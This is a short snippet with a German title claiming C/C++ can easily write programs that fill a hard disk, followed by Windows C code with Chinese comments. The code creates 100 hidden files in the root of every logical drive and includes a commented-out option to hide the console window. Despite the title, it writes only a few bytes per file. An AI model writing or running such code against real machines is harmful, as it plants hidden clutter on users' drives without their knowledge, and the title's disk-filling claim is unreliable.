C/C++ schreibt problemlos Programme, die die Festplatte füllen können

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}